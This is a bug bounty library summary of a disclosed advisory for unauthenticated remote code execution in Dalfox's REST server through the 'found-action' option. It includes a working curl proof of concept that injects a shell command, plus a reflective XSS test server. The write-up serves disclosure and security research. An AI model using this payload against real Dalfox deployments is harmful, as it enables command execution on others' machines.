# Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`

Dalfox REST server mode with no API key deserializes found-action/found-action-shell from POST /scan JSON, letting unauthenticated attackers run arbitrary shell commands on any finding.

- Payout: Research
- Severity: critical
- Program: Dalfox
- Found by: drmingler
- Disclosed: 2026-05-12
- CVE: CVE-2026-45087
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v25v-m36w-jp4h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v25v-m36w-jp4h
- Tags: area:web domain:api impact:rce kind:research platform:ghsa sev:critical tech:go tech:rest technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Dalfox REST API server (`dalfox server`, POST /scan)
**Root cause:** `--api-key` defaults to empty so auth middleware is never registered, and `model.Options` (including `FoundAction`/`FoundActionShell`) is bound directly from request JSON and propagated by `Initialize` into `exec.Command(shell, "-c", afterCmd)` without stripping.
**Steps:**
1. Start a reflective XSS target on 127.0.0.1:18081 that echoes `q` into the HTML body.
2. Start `dalfox server --host 127.0.0.1 --port 16664 --type rest` with no `--api-key`.
3. POST to `/scan` with body `{"url":"http://127.0.0.1:18081/?q=test","options":{"found-action":"echo owned >/tmp/dalfox_rce_marker","found-action-shell":"bash","use-headless":false,"worker":1,"limit-result":1}}` and no `X-API-KEY` header.
4. Dalfox finds the reflected XSS, triggering `foundAction`, which runs `bash -c 'echo owned >/tmp/dalfox_rce_marker'`.
5. Confirm with `cat /tmp/dalfox_rce_marker` → `owned`.
**How found:** Code review of the server path: noticed `--api-key` defaults to empty and auth middleware is conditionally registered, then traced `POST /scan` JSON binding of `model.Options` through `ScanFromAPI` and `Initialize` (which explicitly copies FoundAction fields) to the unconditional `exec.Command` in `foundAction`.
**Exploitation:** Attacker needs only network reach to the default 0.0.0.0:6664 port. They host a trivially reflective page to guarantee a finding, then submit a scan request whose options carry an arbitrary shell command and shell binary; the server executes it as the dalfox process user on first detected vulnerability.
**Insight:** Scanner/automation tools that expose their own config structs over an API often carry execution hooks (post-scan actions, webhooks, shell templates) — enumerate every JSON-tagged field of the bound options struct and trace which ones reach `exec`, `os/exec`, or file writes, rather than only testing the documented parameters.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl POST with found-action RCE payload**

```
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "found-action": "echo owned >/tmp/dalfox_rce_marker",
      "found-action-shell": "bash",
      "use-headless": false,
      "worker": 1,
      "limit-result": 1
    }
  }'
```

**Reflective XSS target server to trigger finding**

```
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        body = f'<html><body>{q}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
```

**Start dalfox server without API key**

```
go run . server --host 127.0.0.1 --port 16664 --type rest
```

